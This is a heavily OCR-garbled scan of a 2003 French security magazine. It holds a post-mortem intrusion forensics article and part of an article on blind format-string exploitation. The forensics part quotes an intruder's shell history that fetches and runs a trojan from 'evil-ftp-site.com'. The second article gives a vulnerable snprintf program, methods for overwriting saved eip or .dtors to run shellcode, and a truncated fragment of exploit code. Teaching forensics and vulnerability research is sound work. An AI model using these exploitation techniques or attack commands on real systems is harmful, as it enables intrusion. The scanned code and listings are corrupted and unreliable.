{aemon
adm
<-- skip --»
kenny pts/i
<-- gkip -->
apache
mysq!
¥sd
pcap

92 ps aux

83 service httpd start

=1

4 service mysqld start
<-- skip --»
821 ftp evil-ftp-site.com
82¢ cd /dev/video
923 tar -xvzf trojan.tar.gz
824 cc -0 trojan trojan.c
975 ./trajan

926 m -rf trojan.tar.qz trojan.c

194.68.132.12

499 Mar 18 86:33 boot
G6BL6 Mar 18 B6:31 dev

4096 Mar 18 86:3L .

B6G16 Mar 18 @6:31 ..
19, 204 Apr 11 2002 emB3Bd
18, 286 Apr 11 2862 emB303_ma
18, 285 Apr 11 2082 emB300_mv
10, 287 Apr 11 2062 emB30d_sp

4435 Jun 30 18:32 trojan

4435 Jul 1 @8:43 net

Latest

Tue Jul 1 B6:50:18 +0200 2083
*fayer Togged n**

*lleyer logged in**

*lever logged jnv*

Tue Jul 1 085:32:16 +@2a0 2403
**Naver logged jm

*Never logged fn**

**lever logged in®*

**Never Togged in**

root  pts/@ i Tue Jul 1 @6:58 still Togged in \
ey pts/d 194.68.130.12  Tue dul 195:32 still Togged in it
ey pis/0 1946803212 Mon Jun 30 13:18 - 1741 (84:22) 1665 Task:F r/fgng
1098 Tast -f /var/Tog/wtmp.l
. 1091 Tastlog
;}ta] i85 1092 history
druxr-xr-x 19 root  root 409 Mar 18 2069
I druxr-xr-x 19 root oot 4896 Mar 18 20:069 .. Ces analyses confirment les premiéres constatations et donnent
W-r--F--  lroot  root @ Jun 30 0541 .autofsck des traces ¢évidentes des opérations effectuées par l'intrus. En
NE-E DS st 489 Mar 18 86:33 bin particulier, I'analyse des fichiers dont la date d'acces est ultérieure
MISC 9




Collecte des traces post-mortem

1 I'estimation de la date fournit de nombreuses indications
omplémentaires :

I.I'intrus a ajouté un cheval de Troie (trojan.exe et trojan) ;

2Z.sur Windows, deux fichiers supplémentaires sont
apparus : sniffer.pl (surprenant) et root.exe. Dans ce demier
cas, nous avons un indice flagrant de la faille exploitée, il s'agit
de I'infame UNICODE :

3.l'intrus n'est pas un expert, sinon il aurait changeé les dates
d'acces aux fichiers...

‘n outre, l'analyse sous Linux des fichiers /dev/video/trojan
L /dev/video/net a l'aide de la commande file donne les
ésultats sutvants

root@localhost root]# /mnt/cdrom/bin/file /dev/video/net

tmp/tepdump: ASCIT text

root@localhost root]# /mat/cdrom/bin/file /dev/video/trojan

dev/video/trojan: ELF 32-bit LSB executable, Intel 88386, version I,
ynamically Tinked (uses shared 1ibs), stripped

e fait que /dev/viden/trojan soit un binaire est une évidence.
in revanche un fichier /dev/video/net, texte ASCII dont le
time est "maintenant”, nous mdique probablement qu'un snitfer
st en activité... ce que le listing du fichier confirme :

-~ skip -->
7:40:38.671643 194.68.132.12.2657 > 192.168.0.1,ssh: P 1361:1441(84) ...

(0000 4580 0878 5738 4060 BAd6 218c cdad AAL Eodthiles oo
(0818 cfaB DERZ Babl 0016 271 3ffc Tcdé BR31 e o
(0028 5018 4470 555F OOED 426a 3407 bdde 50ba P.Opll_..Bj4. .Y,
(B30 ef%a7 f9ac 5656 eadd JeSf adcl 4023 9%0 v 8
0040 dBbd febe 70T cl9 d779 9186 chbe ach? ... YourooR
(HEh8  Tabd :

7:41:30, 071843 192,168, 8.1.55h > 194.68,132,12.2657: P 111128 111660(568)

(E080 4514 @256 7831 4060 4006 4760 cdaB pAB2 E. . Xplé.@.G.....
(0010 cfad 0001 0616 Gabl 7cdb BESL 6271 M4 ...l alF.l.ool
1028 5818 3c6d fola GOBE a72f d3L1 4829 f3p2 Bl e
W0038  Sde6 9bE6 160e 8483 10BB 92fa 2757 Bodn B couiviies ..
(0040 2007 Bled aBBc 532 2039 67cB Zeed M4 ... 2499., .40
W0058  bbbY

-- skip --»

Jn autre élément intéressant sous Linux est l'apparition du compte
cap qui deénonce (encore bien facilement) la probable installation
e la 1ibpcap et par conséquent confirme notre intuition
oncernant l'activité d'un swiffer.

Remargue : Si le cas que nous étudions n'était pas un exemple,
nous serions particulierement vigilant dans la mesure ou les
indices sont BEAUCOUP trop tlagrants : programme trojan
(.exe), atime non modifie, ete. Il pourrait certes s'agir d'un
script kiddy, mais tout de méme...

Autres analyses "live"
1. Détection de sniffers
Identifier la présence d'un sniffer est un probléeme 4 tiroirs.

En effet, si la cible est un Linux et que le sniffer met l'interface
réseau en mode promiscuous la détection s'effectue simplement
(sur un noyau <= 2.2) via la commande 1fconfig :

[root@localhost rootl# /mnt/cdrom/bin/ifconfig -a
ethld Link encap:Ethernet HWaddr B@:01:03:0C:54:61

inet addr:192.168.8,1 Beast:192.168.0.255

UP BROADCAST RUNNING PROMISC MULTICAST MTU:1588 Metric:1
<-- SKip --2

Sur des noyaux plus récents, la commande 1fconfig n'est 4 méme
de ne détecter que les interfaces qui ont été mises en mode
promiscuous que via ceite méme commande. Cela est dd au fait
que les applications utilisant la 11bpcap ne passent pas en mode
promiscuotis via le positionnement du FLAG SI0CGIFFLAGS via
ioct1(), mais par le type PACKET_MR_PROMISC via la fonction
setsockopt(). Le passage en mode promiscuous reste cependant
toujours tracé par les logs systéme :

Jul 1 17:40:29 Tocalhast kernel: eth: Setting promiscuous mode.
Jul 1 17:40:29 Tocalhost kernel: device ethB entered promiscuous mode

Si, et cela est fort probable, de telles traces ont ¢été effacées le
passage en mode promiscuous peut toujours étre détecté via la
fonction getsockopt(), en espérant que I'appel systéme n'a pas
été détourné (voir plus loin).

En revanche, si l'intrus a supposé que le réseau était commuté et
qu'il n'avait pas l'intention dans I'immédiat de s'investir dans la
corruption du swifch, il a probablement lancé son sniffer en mode
"normal”. Dans ces conditions, l'identification d'un processus
douteux pourra se faire via la commande 1s0f en tragant le fichier
dans lequel sont stockes les logs du sniffer (voir plus haut),

[root@localhost root]# /mnt/cdrom/bin/Tsof /dev/video/net
COMMAND  PID USER FD  TYPE DEVICE SIZE  NODE NAME
kmemde 18998 root 1w REG 3,2 25B@78 199916 /dev/viden/net

[root@localhest rootl#

Si le fichier correspondant n'a pas été trouvé (dans le cas ou, par
exemple, un LKM serait chargé et le "cacherait” - voir plus bas
"Identifier un noyau corrompu”), une autre manipulation peut
étre effectuée. Le processus du sniffer utilisant une socker, celle-
cl apparait nécessairement dans la liste des descripteurs de fichiers
ouverts par le processus ainsi que dans /proc/net/packet. Cette
liste est accessible dans /proc/<pid>/fd.

[root@localhost fs)# cat /proc/net/packet
sk RefCnt Type Proto [face R Rmem  User
chd670a0 3 3 @3 2 165280 6

Inode
1582913
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[root@localnost fdl# for £d in $(find /proc -name fd); do echo §fd; 1s -al fd
| grep socket; done;

<-- skip --»

/proc/19683/fd

Trige == === Iroot  root 64 Jul 3 15:42 16 -> socket:[9596]
T = eeee 1root  rook B4 Jul 3 15:42 17 -> socket:[9597]
/prac/18998/fd

Tr------ 1 root  root 6d Jul 3 15:42 3 -> socket:[1562913]
<. skip -2

Le processus du sniffer a donc le PID 18998,

Sous Windows, il n'est pas possible de déterminer si une interface
est en mode promiscuous. En revanche, les suiffers tels que Snort,
Windump ou Ethereal utilisent la WinPcap [7], et par conseéquent
les dlls wpcap.d11 et packet.d11. L'utilisation du programme
1istd11s.exe [5] est alors indispensable.

F\Audit>)istdl]s.exe

ListDLLs V2.23 - DLL Tister for WinSx/NT
Copyright (C) 1997-2000 Mark Russinovich
http://www,sysinternals.com

<-- skip ==

kmemde, exe pid: 2992
Command Tine: “C:\winnt\system32\kmemde.exe"

Base Size Yersian Path
0x00400000 @x5f2000 0.00.0000.008@ C:\winntisystemdZ\kmemde.exe
Bx77640000 Gxacd0@  5.01.2688.1217 C:\WINDOWS\System32\ntd11.d1l

Px77040680 BxfoO0@ 5.01.2680,1106
C:\WINDOWS\system32\kernel32.411

<-- skip -->
gx76f40006 @x10000
fx018%0008 @x31000
BxQLBAEAE0 GxfEED
<-- skip -->

5.01.2600,1166
3.00.0006. 0815
3.00.000¢. 0815

C:\WINDOWS\System3e\Secur32. d11
C:\WINDOWS\System32\wpcap.d
C:AWINDOWS\System32\packet.dl

Nous tenons le processus du suiffer !

2. “Dumper” la RAM

Il est certain que la RAM est 'élément contenant le plus
d'informations susceptibles d'indiquer quels sont les processus
malins en activité sur le systéme. Cependant, la complexité de
I'analyse implique que la majeure partie des études effectuces
sur les dumps sont uniquement des recherche de chaines de
caracteres plus ou moins caractéristiques de telle ou telle activité.
Aussi le sujet ne sera pas traité en detail dans cet article.

MisC ¢

La création d'un dump sous Windows s'effectue de la maniére
suivante :

1.Aller dans Démarrer -> Parameétres -> Panncau de
configuration -> Systéme ;

2.Choisir l'onglet Avancé puis Paramétres du menu Démarrage
et récupération |

3.Sélectionner le type de dump "Image mémoire compléte”
et le fichier cible (de préférence sur un drive monte afin de ne
pas altérer les données du systeme audité ;

4.Via regedit, ajouter dans HKEY LOCAL MACHINEN\SYSTEM\
CurrentControlSet\Services\i8842prt\Parameters la clef
CrashOnCtr1Scroll de type REG_DWORD et de valeur 1 |

5.”Rebooter”™

6.Maintenir la touche CTRL (a droite de la barre d'espace)
enfoncée puis appuyer deux fois sur SCROLL LOCK .

7.Le systéeme "plante” et le dimp est génére.

Cette solution présente l'inconvénient d'une part d'alterer le
systéme (modification de la base de registre), et d'autre part de
nécessiter un reboot. Des informations complémentaires peuvent
étre obtenues sur le site du support de Microsoft [10.11}.

Sous Linux, on se contentera de récupérer une copie de
fproc/kcore.

COPIE ET ANALYSE DES DONNEES

Cette étape doit confirmer et approfondir les premieres deductions
effectuées lors de 'analyse en "live" du sysiéme. On peut en effet
considérer que si aucun indice n'a été trouvé lors de la premicre
étape, il y fort a parier que cette seconde phase ne donnera rien
de probant.

Méthode de copie

La copie idéale est une copie "bit a bit" de I'ensemble des supports
de données présents sur le systeme. Cette opcration peut étre
effectuée aprés montage d'un nouveau disque dur sur le systeme
étudié ou par le réseau, et a destination d'un disque dur vide sur
la machine dédiée a 'audit. Enfin, cette copie doit étre réalisce
a partir d'un OS n'utilisant pas les supports de données en question.
Knoppix [8] ou Trinux [9] sont parfaits pour realiser cette
opération.

La copie sur un nouveau disque dur en local s'effectuera alors via
la commande suivante (attention a ne pas inverser les disques !) :

#dd if=/dev/hda of=/dev/hdb

Dans le cas des systémes Microsoft en particulier, certaines
données importantes sont dans un format peu ou pas exploitable
"a plat". Il peut par conséquent étre nécessaire de les extraire et
de les transférer "a part” pour I'analyse. 11 s'agit en particulier
des logs contenus dans |'EventLog, des mots de passe et de la
base SAM.

La génération d'une empreinte des dumps est bien entendu
indispensable...




Collecte des traces post-mortem

Méthode d'analyse
1. Acees aux données

Une fois I'ensemble des données recopiées telles quelles sur un
nouveau médium, I'analyse "off-line" peut commencer. Elle
consiste a extraire l'ensemble des informations corroborant les
premieres conclusions tirées de I'analyse en "live". Ceci implique
en particulier qu'aucune donnée soumise a I'étude ne soit modifice.
En outre, comme nous le verrons plus loin, certaines techniques
de rootkit consistent a attaquer directement le noyau. Par
conseéquent, 1l est indispensable d'effectuer les analyses "off-line"
a partir d'un noyau "propre".

Le boot d'un systeme sous Linux, par exemple, et le montage des
supports de donnees en lecture seule est une technique tout a fait
adéquate.

2. Ordonnancement des tiches

D'une manicre générale, toutes les opérations d'analyse sont
longues et pénibles, et si certaines peuvent étre automatisées
(telle la comparaison des empreintes), d'autres nécessitent une
ctude humaine (en particulier I'analyse des logs). Ces opérations
sont les suivantes :

B comparaison des empreintes MDS :

W revue des comptes et des mots de passe ;

M analyse des logs ;

W recherche de chaines de caractéres ;

B récuperation et analyse des données effacées.

= La comparaison des empreintes MD5 doit impérativement
se faire a partir d'un OS reposant sur un noyau sain, ce afin de
s'assurer que la fonction de checksum utilisée fournisse un
résultat fiable. Toute modification détectée sur un binaire, une
bibliotheque, un fichier de configuration ou le noyau est
probablement signe d'une intrusion. Si la gestion des
modifications (configuration, mises a jour, etc.) a été
convenablement effectuée, cette étape peut s'avérer
particulierement riche en informations. Le cas échéant, elle
risque de génerer tellement de false positive qu'elle devient
inutile, faute de résultats exploitables.

= La revue des comptes et des mots de passe consiste d'une
part a identifier la présence de comptes "pirates”, et d'autre part
a verifier que les mots de passe utilisés sur le systéme sont
suffisamment "solides" pour échapper au cracker. La premiére
ctape consiste donc en un inventaire des comptes, des droits et
privileges associés et des groupes auxquels ils appartiennent.
Bien sir, il est préférable pour que cette étude soit fiable. que
I'ensemble de ces informations ait été préalablement documenté.
Le crackage des mots de passe est quant a lui une opération
classique sur laquelle 1l est inutile d'épiloguer.

= L'analyse des logs est une opération qui nécessite beaucoup
de rigueur, compte tenu du volume d'information a analyser.
L'objectif est d'identifier tout événement ou suite d'événements
Juge anormal selon les criteres suivants : le volume, les répétitions

et les schémas spécifiques. Ces criteres doivent étre appliqués
selon diffeérents axes, tels que la source, la cible, le service (HTTP,
SSH. etc.). le type d'intrusion, la date, etc. Si l'organisation des
donnees est effectuée de maniére convenable les éléments
caracteristiques devraient étre beaucoup plus simples a identifier.

= La recherche de chaines de caractéres est généralement
une opération effectuée lors d'audits ayant pour objectif la
récuperation de preuves liées au contenu (pédophilie, racisme,
lettres anonymes, etc.). L'opération est relativement simple
(grossicrement c'est un vulgaire string | grep) a partir du
moment ou l'on sait ce que 1'on cherche.

= Le traitement des données effacées permet d'effectuer les
deux dernieres étapes sur de nouvelles données. La plus grande
difficulté étant la récupération des données, en particulier dans
le cas des logs. En effet, les fichiers correspondants étant soumis
a des modifications permanentes, ils se retrouvent stockés sur le
disque dans des c/usters non contigus. En général, la récupération
de ce type de données est par conséquent partielle. En revanche,
dans le cas de documents, et plus particulicrement d'images et
de videos. la récupération donne souvent d'excellents résultats,

IDENTIFIER UN NOYAU
CORROMPU

Les intrusions et tentatives de "rootkitage" identifiées dans les
exemples etaient relativement évidentes. Dans certains cas
I'analyse peut s'arréter ici, l'intrus n'étant probablement qu'un
script kiddy. Cependant, tout cela pourrait n'étre qu'un leurre
destiné a tromper l'adversaire. Ou peut-étre, compte tenu de la
faiblesse du systéme, que d'autres intrus, plus compétents, sont
¢galement rentrds et ont su masquer leurs traces.

ANALYSE DU NOYAU

St le controle d'mtégrité détecte une corruption d'un fichier tel
que ntoskrnl.exe ou vmlinuz. il est fort probable que le noyau
du systéme ait ét¢ corrompu. Dans ce cas la détection est triviale.
Cependant, l'article de Yann Fourastier a montré qu'il existe des
techniques beaucoup plus subtiles de corruption du noyau, fondées
sur les modules, ou sur la modification du code en mémoire.

DETECTION DES MODULES

Les modules etant chargés dynamiquement par le noyau. le code
de ce dernier n'est pas modifié. En revanche, le module doit
résider quelque part sur le systeme de fichiers. Une analyse "off-
line" & partir d'un noyau sain permet par conséquent de retrouver
assez simplement le module.

Afin d'éviter ce mode de détection, encore trivial, des techniques
consistant a masquer I'i node et les données ont été développées.
Des lors, notre technique d'analyse du systeme de fichiers ne
détectera qu'un systéme de fichiers endommagé.
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ANALYSE DES SYS_CALL

Le détournement des syscall n'est pas quelque chose de nouveau,
plaguez en parlait déja début 1998 dans le Phrack 52 [12]. Les
rootkits fondés sur cette technologie sont nombreux et leur
détection ne peut s'effectuer qu'en "live". Encore une fois, la
théorie de détection est relativement simple ; en effet, les appels
systéme ayant ét¢ détournés par le LKM., leur adresse en mémoire
est nécessairement modifiée. Il suffit par conséquent de creer
une vue de la table des appels systéme a l'issue d'une installation
puis de la "comparer” avec la table des appels systemes actuels.

L'outil kstat [13] nous aide dans cette opération.

[root@localhost rootl#/mnt/cdrom/bin/kstat -3
sys_fork fxc284652¢ WARNING! Should be at OxcBl88cae
sys_read Oxc2B46868 WARNING! Should be at BxcBl2l7%c
sys_execve Bxc2B46bb8 WARNING! Should be at BxcBlBdced
sys_kill Dxc28465d4 WARNING! Should be at @xc@1B01a

Dans l'exemple qui précede. kstat a détecté que les appels
sys_fork, sys_read, sys_execve et sys_kill ont été détournés.

COMPTAGE DES INSTRUCTIONS

Dans le cas ou les pointeurs de la table des syscall ne sont pas
modifiés (par exemple si c'est le code de la fonction system_call()
qui a été corrompu en mémoire), la méthode précédente ne donne
pas de résultats satisfaisants. Jan K. Rutkowski a par consequent
proposé une autre méthode d'analyse [14], fondée sur I'étude du
nombre d'instructions nécessaires pour effectuer une opération. En
effet, les appels systémes corrompus exécutent de nombreuses
opérations complémentaires destinées a cacher un fichier. un
processus, capturer des interruptions, etc. La mise en oeuvre est
classique : une premiére série de mesures est effectuée a partir d'un
systéme propre. Ces données servent alors de reférentiel auquel sont
comparées les données obtenues lorsqu'une intrusion est suspectee.

OUTILS

TOOLKITS

Afin de faciliter la tiche de l'auditeur, il existe un certain nombre
de suites d'outils (d'ott I'utilisation du terme foodkit). Leur fonction
est d'automatiser autant que possible les différentes étapes de
l'audit, voire d'organiser les données. Pour des raisons évidentes,
nous ne traiterons ici que des outils non commerciaux.

The Coroner Toolkit

The Coroner Toelkit (TCT) [15] est une suite de programmes
développés et maintenus par Wietse Venema et Dan Farmer. Le
coeur du foofkit est le programme grave-robber. Sa fonction est
de récupérer toute sorte de données concernant le systeme, de
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les stocker et de générer I'empreinte correspondante. grave-
robber insiste tout particulierement sur les données volatiles et
utilise un "Order of Volatility" pour effectuer en priorité les
captures des ¢léments les plus volatiles.

Parmi les programmes les plus intéressants de la suite on trouve
Tazarus. Sa fonction est de reconstituer les fichiers présents dans
les clusters non référencés dans la table d'allocation. 1l supporte
les systémes de fichiers UFS, EXT2, FAT32 et NTFS. A l'issue
de cette récupération, il analyse les données afin de déterminer
§'il s'agit de fichiers textes ou binaires. Dans le premier cas il
cherchera les portions de texte qui lui semblent intéressantes,
dans le second, il tentera de determiner le format du programme.

Un autre programme particulicrement pratique est mactime. Ce
programme liste les fichiers dont le macrime a ét¢ modific depuis
une certaine date. L'intérét est de réduire notablement la sortie
de commandes de type 1s -alRu.

= TCT fonctionne sur les systemes Unix.,

Sleuth kit & Autopsy

La boite a outils Sleuth Kit [16] est principalement orientée vers
la récupération d'informations et de données a partir d'une image
eréée par la commande dd. Elle est 2 méme de reconstruire et
d'analyser les données provenant des systemes de fichiers NTES,
FAT, FFS, EXT2 et EXT3, de découvrir les fichiers cachés,
d'effectuer une recherche de mots clefs et de fournir une analyse
chronologique de l'utilisation des fichiers.

Parmi les fonctions intéressantes, on trouvera l'identification des
images et la création de thumbnails, un programme mactime
identique a celui de TCT ainsi qu'un outil bien pratique de
géneration de rapports,

Autopsy est une interface graphique destinge a preésenter les
résultats obtenus & l'issue de l'analyse par le Sleuth Kit. Cette
fonction est particuliérement intéressante tant le volume de
données peut étre important et confus,

=» Sleuth Kit fonetionne sur les systemes Unix.

chkrootkit

chkrootkit [17] est un ensemble de programmes a utiliser lors
des analyses "live" des systemes Unix. Outre les fonctions
"classiques" d'identification de lignes de logs supprimées ou de
détection de sniffers (attention toutefois, cette dernicre ne
fonctionne pas sur le noyau 2.4 de Linux), chkrootkit permet
la détection d'un grand nombre de LKM.

Cette détection s'effectue via deux outils. Le premier, chkdirs,
détecte les anomalies entre le nombre de liens d'un répertoire
pere et le nombre de sous-répertoires de ce dernier. Si le nombre
de liens n'est pas exactement ¢gal au nombre de sous-repertoires
incrémenté de deux, 1l y a probablement présence de répertoires
cachés. Le second, chkprocs, compare le contenu du répertroire
/proc avec la sortie de la commande ps afin d'identifier certains
processus cacheés.

D chkrootkit fonctionne sur la majorité des Unix.




Collecte des traces post-mortem

The Forensic Toolkit

The Forensic Toolkit [18], de la société FoundStone, est juste
une collection de petits programmes permettant de trouver les
fichiers dont le atime répond a certains criteres, les fichiers cachés,
les fichiers contenus dans les flux NTFS et d'en dumper les
parametres de sécurité et attributs.

e toolkit ne fournit aucun outil d'organisation des données et
ne génére pas d'empreinte MD3 des "sorties".

=» The Forensic Toolkit fonctionne sous Windows NT/2000/XP

Sysinternals PsTools

Les PsTools |19] de la société SysInternals sont un ensemble
Toutils permettant I'analyse en "live" d'un systeme Windows et
e clump des informations nécessaires a l'audit "off-line". Ces
utils offrent des fonctions spécifiques aux systemes Microsoft
telles que le dump de 'EventLog ou l'affichage du SID d'un
systeme ou d'un utilisateur), ainsi que des "portages" de
fonctionnalités présentes a la ligne de commande sous Unix (en
rarticulier I'option -p de la commande netstat).

A |'instar du Forensic Toolkit, aucun outil n'est fourni pour
rganiser les données récuperees,

< Les PsTools fonetionnent sous Windows NT/2000/XP.

0S5 BOOTABLES

Disposer d'un OS sain et directement opérationnel en toutes
irconstances est une nécessité. Deux distributions basées sur
_inux sont particuliérement adaptées pour l'audit post-
nortem : Trinux [20] et Knoppix [21].

“hacune de ces distributions peut étre hoorée a partir d'un CD-
ROM et la liste des packages installés est impressionnante. Entre
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autres elles integrent chacune The Coroner Toolkit, ainsi que de
nombreux outils d'audit tels que nmap, hping2, hunt, etc.
permettant de faire double usage.

Knoppix présente toutefois I'avantage de disposer d'une interface
graphique, ce qui lui permet d'intégrer des outils tels que Nessus,
Ethereal (en version graphique), ainsi qu'OpenQOftTice, trés utile
pour commencer a rédiger le rapport d'audit en cours d'opérations.

L'audit post-mortem est un travail méthodique. organisé
et minutieux. S'affranchir des étapes de préparation. opérer
sans precaution ou passer un peu trop vite sur l'analyse des
milliers de lignes de logs conduit systématiquement a un
résultat erroné. La patience et I'humilité sont les deux
qualiteés nécessaires pour réussir un audit. La patience,
parce que l'analyse des donnees est une tiche
particuliérement penible et ingrate. I'humilité parce qu'il
y a toujours plus malin que soi.

[ est également nécessaire de savoir se tenir 4 ses objectifs.
En effet, observer l'activité d'un intrus lors de I'analyse
"live" est certes passionnante, mais il faut garder a I'esprit
que le systeme corrompu n'est pas un foneypot | Une fois
les informations nécessaires collectées, le systeme doit étre
déconnecte et sécurise,

Enfin, et plus que tout autre activite, l'audit post-mortem
s'appuic essenticllement sur l'expérience. Détecter un flux
réseau douteux, identifier un LKM a partir des appels
systéme détournds et, surtout, savoir mener proprement
une analyse dans des conditions loin d'étre optimales
(manque de temps, de moyens et de préparation) sont autant
d'actions qui ne peuvent étre menées avec succes que si
I'on dispose des automatismes nécessaires.
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PROGRAMMAT

PROGRAMMATION

Exploitations avancées
de bogues de format

Vu la grande facilité qu'ont les détecteurs

automatiques de failles pour trouver les bogues de

format (BF), on pourrait s'attendre a ce qu'ils nappe|

disparaissent. Pourtant, on en a encore recensé

quelques uns ces derniers mois :

Le bogue de format typique, est
M Ethereal - 08/03/2003 (CAN-2003-0081) .

[l
™ CDRecord - 13/05/2003 (CAN-2003-0289) | 0,/ .
® plusicurs IRCd - 26/06/2003 (CAN-2003-0478) 41

s
Les notions de base sur l'exploitation des BF et du

fonctionnement de la pile sont préférables pour la i i . s - )
lecture de cet article, Je vous invite a lire | Puisqu'on contrdle la chaine de format passée en paramétre a la fonction

[SCUTESO] et [BGR] si ce n'est pas déja fait. | Printf(), on est en mesure de faire afficher la pile avec des "&xkx. ..".

o ; C'est ce qu'on appelle une fuite d'informations.
Les BF sont souvent considérés comme étant simples L | L,
a exploiter. Pourtant, nous verrons que dans certaines Grdce a l'instruction de format "%n", un attaquant est capable de contréler

conditions, cela s'avere complexe. la memoire du processus, et de faire exécuter du code arbitraire. Cette
instruction écrit le nombre d'octets déja affiché a une adresse située sur la
pile. mais pouvant pointer n'importe ou en mémoire. Il va donc nous falloir
placer une adresse sur la pile pour contréler I'écriture. Si la chaine de format est elle-méme placée sur la pile, il suffira d'y inclure
l'adresse. Sinon. on peut utiliser n'importe quel buffer de la pile contenant des données qu'on contrdle. Ca peut étre l'environnement
ou les arguments du programme par exemple.

Avec les informations récoltées, il est possible de calculer avee précision tout les paramétres essentiels a l'exploitation du bogue,
c'est-a-dire provoquer une corruption de la mémoire via la directive "%n".

La situation se complique si, au licu de printf(your_buf), ona sprintf(dest, your buf) ou fprintf(FICHIER, your_buf).
En effet. dans ces cas, on ne pourra pas lire le résultat de notre chaine de format car nous ne voyons pas la sortie.

La méthode la plus courante voudrait qu'on utilise la fuite d'information pour localiser des données contrélables sur la pile, puis
qu'on s'aligne sur nos données pour passer I'adresse de notre choix au format "%n" et ainsi écrire ou on veut.

Ce qu'on appelle BF en aveugle, est un BF sans fuite d'information. On trouve de tels BF lorsque les fonctions sysTag(), sprintf(),
fprintf(), ete. sont impliquées.

LES BOGUES DE FORMAT LE PROBLEME DE LA POSITION
EN AVEUGLE ET DE L'ALIGNEMENT DE NOS DONNEES

Scut a invente une methode qui marche trés bien : il s'agit d'utiliser
I Si on ne peut pas lire la pile, il faut qu'on trouve autre chose pour ~ de I'analyse temporelle. L'idée est simple, on calcule le temps

détecter nos données et l'alignement nécessaire a l'exploitation  précis d'exécution du programme a deux reprises.
du programme.

I MISC ¢

La premiere fois, notre chaine de format ne fera rien de particulier




la seconde fois, elle fera planter le programme en utilisant des
directives telles que "%n" et "%s", qui écrivent et lisent
respectivement a des adresses se trouvant sur la pile (la pile ne
contenant pas que des pointeurs, la lecture & une adresse invalide
fera planter le programme).

La diftérence de temps entre les deux exécutions est significative
et va nous permettre d'évaluer si le programme plante ou non par
la suite. On fabrique donc netre chaine de format censée écrire
4 une adresse valide, en fixant des valeurs par défaut pour la
position de nos données et de son alignement.

Tant que le programme plante, on ajuste ou notre position ou
notre alignement. Lorsque ¢a ne plante plus, on peut vérifier
ju'on possede les bonnes valeurs en tentant d'erire cette fois a
une adresse invalide. Si ¢a ne plante pas, on était en présence
1'un faux positif,

Lorsqu'on a trouvé les valeurs nécessaires a l'exploitation, on est
:n mesure d'écrire ce que l'on veut ol I'on veut. I ne reste plus
Ju'd corrompre ce qu'il faut pour faire exécuter notre shellcode,
1 existe plusieurs fagons pour cela, que nous allons maintenant
voir de plus prés,

COMMENT FAIRE EXECUTER
NOTRE SHELLCODE

>remiérement, connaitre 1'adresse du shellcode a exécuter est
1€cessaire.

-ors d'une fuite d'information, on peut trouver 'adresse du
hellcode. Dans notre cas, on essaie de le placer a une adresse
révisible et, si nécessaire, de l'ajuster par plusieurs tentatives
I'exploitation.

.es adresses des segments mémoire du binaire sont relativement
onstantes (son tas, sa pile, les mmap). Si on peut générer une fuite
le mémoire (& savoir occuper un grand espace mémoire avec
10s données), pour occuper une grande plage d'adresses, nos
hances de prédire la bonne adresse augmenteront. L'utilisation
les NOP (pas d'opération) fait toujours ses preuves. On peut
wssi aller chercher I'adresse du shelleode la ou elle se trouve en
némoire. Plus simple, on peut utiliser le BF pour aller écrire le
hellcode a une adresse de notre choix.

1 on est en mesure d'accéder aux fichiers objets, dans le cas d'un
ogue local par exemple, on lit dans la 11bc¢ pour récupérer
‘'adresse de la fonction system() sur laquelle il peut étre
ntéressant de retourner. On n’a. comme ¢a, plus besoin d'injecter
m shellcode en mémoire.

\dmettons qu'on connaisse l'adresse du shellcode, il nous faut
naintenant détourner I'exécution du processus vers notre
hellcode. La encore, si on a acces au binaire qu'on veut exploiter,
n peut récupérer les adresses exactes de tableaux de pointeurs
ur fonctions comme la G0T, la section .dtors, voire des données
nternes du programme qu'il serait intéressant de corrompre.

Jne méthode que j'aime particuliérement est I'écrasement des

auvegardes de registre %eip et %ebp se situant sur la pile (on y
eviendra).

Bref, la plupart du temps, on peut au moins éviter d'avoir plusieurs
adresses a prédire.

CAS PRATIQUE

Voici donc le code source du programme a exploiter :

int main (int arge, char *argv[])

{
char foobuf[512];

1f (arge < 2)
exit (EXIT_FAILURE):

snprintf (foobuf, sizeof (foobuf), argv[1]);
exit (EXIT_SUCCESS);

Il s'agit d'un BF en aveugle puisque le premier argument
(argv[1]) est utilisé comme chaine de format pour
snprintf(). Juste apres la faille, le programme sort 4
cause de I'appel 4 exit(). C'est a ce type de faille
qu'étaient sensibles Ethereal, CDRecord et IRCd.

Pour exploiter la faille, on doit détourner quelque chose
qui est exécuté/utilisé aprés la faille, a savoir la fin de
la fonction snprintf() et la fonction exit ().

Si on est en local, on peut choisir de détourner le | dtors,
dont on obtient l'adresse dans les symboles du binaire.
On place facilement le shellcode dans 'environnement
et on predit son adresse exacte. Rappelons que le .dtors
est un tableau de pointeurs sur fonction. Ces fonctions
sont exccuteées lorsque le programme appel sort, apres
lemaing).

S1on n'est pas en local, il faut avoir le moins d'adresses
a deviner. Voici une méthode pour ne prédire qu'une
seule adresse : le contenu du premier argument (argv[1])
est copié sur la pile dans le huffer alloué par la fonction
main() (.. char foobuf[512] .. ).

Lorsque la fonction snprintf() est appelée, le registre
%heip est sauvegarde juste derriere foobuf. L'adresse de
la sauvegarde du registre %eip et du buffer foobuf sont
donc trés proches, et a partir d'une adresse, on peut
calculer l'autre. On controle le contenu de foobuf et on
peut donc y placer notre shellcode. En écrasant la
sauvegarde du registre %eip de la fonction snprint ()
par l'adresse du shellcode placée dans foobuf. on assure
l'exécution de notre code lors du retour de la fonction
snprintf().

septembre - octobre 2003




PROGRAMIYIAT!

PROGRAMIYIATION

UTILISATION DE L'ANALYSE TEMPORELLE return (8);

memset(fmt, 'A', FMT_SIZE - 1};

i
- n i 1, ~
P:egardonb comment faire de Fanalyse temporelle pour calculer for (= B: addr < addrd: addr = 4, +9)
I'alignement et la position. Nous écrirons le shellcode sur la pile T I !
\ \ A s * frtTald : = addr:
a une adresse ol il ne génera pas, et testerons différentes adresses (unstgned *)(kfmt[align + § * 41} = addr;
sur la pile jusqu'a détourner un [saved eip] vers le shellcode. for (J=1=5=8& f<i; j+1
{
L'exploit 5 4= 1
En raison de sa grande taille, I'exploit ne peut étre inclus entier I = sprintf(tmp, "E4kdSn", distance + J);
ici. mais vous trouverez les codes de cet article sur @ memepy (fmt + align + 1 * 4+, tmp, 1);
http://mapage.noos.fr/hrchallenge/fmt-misc.tgz. }
memepy(fmt + align + 1 # 4 + 5+ 1, VALID_FORMAT,
s : : sizeof (VALID_FORMAT) - 1);
Voici une partie du code de I'exploit o =)
fmE[FNT_SIZE - 1] = "\B';
o ) ==
ifie, IRHALTR FOMNET * i i = fmt_time(vuln, fmt);
